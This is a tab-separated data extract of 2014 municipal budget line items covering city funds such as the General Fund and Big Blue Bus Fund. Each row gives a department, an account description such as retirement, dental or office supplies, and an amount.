8613	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	10346.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10346.0
8614	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567010.0	PUBLIC SAFETY BONDS	910.0	 Supplies and Expenses	2014	965750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	965750.0
8615	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2014	2091.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2091.0
8616	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566970.0	FINGERPRINTING	806.0	 Supplies and Expenses	2014	90200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	90200.0
8617	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	5100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5100.0
8618	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	41000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41000.0
8619	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	407150.0	SALE OF RECYCLED WATER	650.0	Charges for Service	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
8620	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511490.0	OVERTIME	816.0	Salaries and Wages	2014	4502.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4502.0
8621	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522620.0	RENT	816.0	 Supplies and Expenses	2014	58041.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58041.0
8622	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
8623	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	941.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	941.0
8624	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
8625	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	3535.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3535.0
8626	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555061.0	OUTSIDE AUDIT EXPENSES		 Supplies and Expenses	2014	15375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15375.0
8627	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	18907.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18907.0
8628	BA	IS	44	SCAQMD AB 2766 Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8629	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	9020.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9020.0
8630	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402060.0	STA SALES TAX -OPERATING	658.0	Sales Tax	2014	-2425957.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2425957.0
8631	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404820.0	PROP A SALES TAX	658.0	Sales Tax	2014	-12229633.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-12229633.0
8632	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE	910.0	 Supplies and Expenses	2014	99493.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99493.0
8633	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522318.0	SAFETY & SERVICE AWARDS		 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
8634	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		PRINTING - GENERAL		 Supplies and Expenses	2014	150000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150000.0
8635	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		PRINTING - GENERAL		 Supplies and Expenses	2014	17000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17000.0
8636	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
8637	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2014	-3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3500.0
8638	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2014	-18631.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18631.0
8639	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407560.0	SPECIAL INSPECTION FEES	612.0	Charges for Service	2014	-13000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-13000.0
8640	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555021.0	DETECTION & ALARM SYSTEMS		 Supplies and Expenses	2014	3375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3375.0
8641	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	12356.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12356.0
8642	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2014	5272.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5272.0
8643	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	3487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3487.0
8644	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	540.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	540.0
8645	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	16085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16085.0
8646	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	29232.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29232.0
8647	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533660.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2014	4165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4165.0
8648	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	18143.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18143.0
8649	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	646.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	646.0
8650	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		SAFETY EXPENSES		 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
8651	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400681.0	EMS REVENUE	612.0	Charges for Service	2014	-889179.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-889179.0
8652	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	715966.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	715966.0
8653	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	76589.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76589.0
8654	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	344848.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	344848.0
8655	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	107045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107045.0
8656	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	429730.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	429730.0
8657	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	60757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60757.0
8658	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	19081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19081.0
8659	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	155317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	155317.0
8660	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	85364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	85364.0
8661	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	1006412.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1006412.0
8662	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	82729.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	82729.0
8663	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511748.0	DENTAL	806.0	Salaries and Wages	2014	163846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	163846.0
8664	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511749.0	VISION	806.0	Salaries and Wages	2014	11609.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11609.0
8665	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	2773.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2773.0
8666	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2014	5400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5400.0
8667	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511748.0	DENTAL	806.0	Salaries and Wages	2014	15504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15504.0
8668	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2014	2874.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2874.0
8669	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	2846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2846.0
8670	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	1936.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1936.0
8671	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	-43.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-43.0
8672	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511748.0	DENTAL	816.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
8673	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511749.0	VISION	816.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
8674	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	-14.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14.0
8675	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2014	8200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8200.0
8676	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511749.0	VISION	812.0	Salaries and Wages	2014	1459.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1459.0
8677	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	24489.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24489.0
8678	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511749.0	VISION	812.0	Salaries and Wages	2014	3048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3048.0
8679	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2014	31533.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31533.0
8680	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511748.0	DENTAL	840.0	Salaries and Wages	2014	21665.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21665.0
8681	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8682	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	100233.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100233.0
8683	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	538329.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	538329.0
8684	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3762.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3762.0
8685	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EAP	804.0	Salaries and Wages	2014	522.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	522.0
8686	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	9041.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9041.0
8687	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EAP	810.0	Salaries and Wages	2014	826.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	826.0
8688	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	822.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	822.0
8689	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1345.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1345.0
8690	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2213.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2213.0
8691	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	1144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1144.0
8692	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	3394.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3394.0
8693	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	6967.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6967.0
8694	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	12353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12353.0
8695	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2014	2058.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2058.0
8696	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DCAP	816.0	Salaries and Wages	2014	420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	420.0
8697	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	5258.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5258.0
8698	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		UNEMPLOYMENT	816.0	Salaries and Wages	2014	3693.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3693.0
8699	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EAP	816.0	Salaries and Wages	2014	618.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	618.0
8700	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		UNEMPLOYMENT	816.0	Salaries and Wages	2014	11035.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11035.0
8701	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	7863.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7863.0
8702	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	8649.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8649.0
8703	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		EAP	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8704	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DCAP	806.0	Salaries and Wages	2014	11712.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11712.0
8705	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		EAP	806.0	Salaries and Wages	2014	11534.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11534.0
8706	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	11820.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11820.0
8707	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EAP	806.0	Salaries and Wages	2014	8738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8738.0
8708	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		UNEMPLOYMENT	806.0	Salaries and Wages	2014	6689.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6689.0
8709	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	12132.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12132.0
8710	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DISABILITY INSURANCE		Salaries and Wages	2014	4477.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4477.0
8711	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	3200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3200.0
8712	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		UNEMPLOYMENT	808.0	Salaries and Wages	2014	5437.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5437.0
8713	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	1188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1188.0
8714	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	11170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11170.0
8715	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	4584.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4584.0
8716	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2014	21504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21504.0
8717	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	880.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	880.0
8718	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	78137.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	78137.0
8719	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2014	40283.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40283.0
8720	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	2246.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2246.0
8721	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	403920.0	TEA 21 PALISADES BLUFF IMPROV	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8722	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	27626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27626.0
8723	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	12952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12952.0
8724	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	73308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	73308.0
8725	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	23712.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23712.0
8726	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5996.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5996.0
8727	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1982.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1982.0
8728	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	3387.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3387.0
8729	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
8730	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2329.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2329.0
8731	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	2550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2550.0
8732	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	2176.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2176.0
8733	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2014	8136.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8136.0
8734	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EAP	804.0	Salaries and Wages	2014	418.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	418.0
8735	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8736	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1345181.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1345181.0
8737	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	2300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2300.0
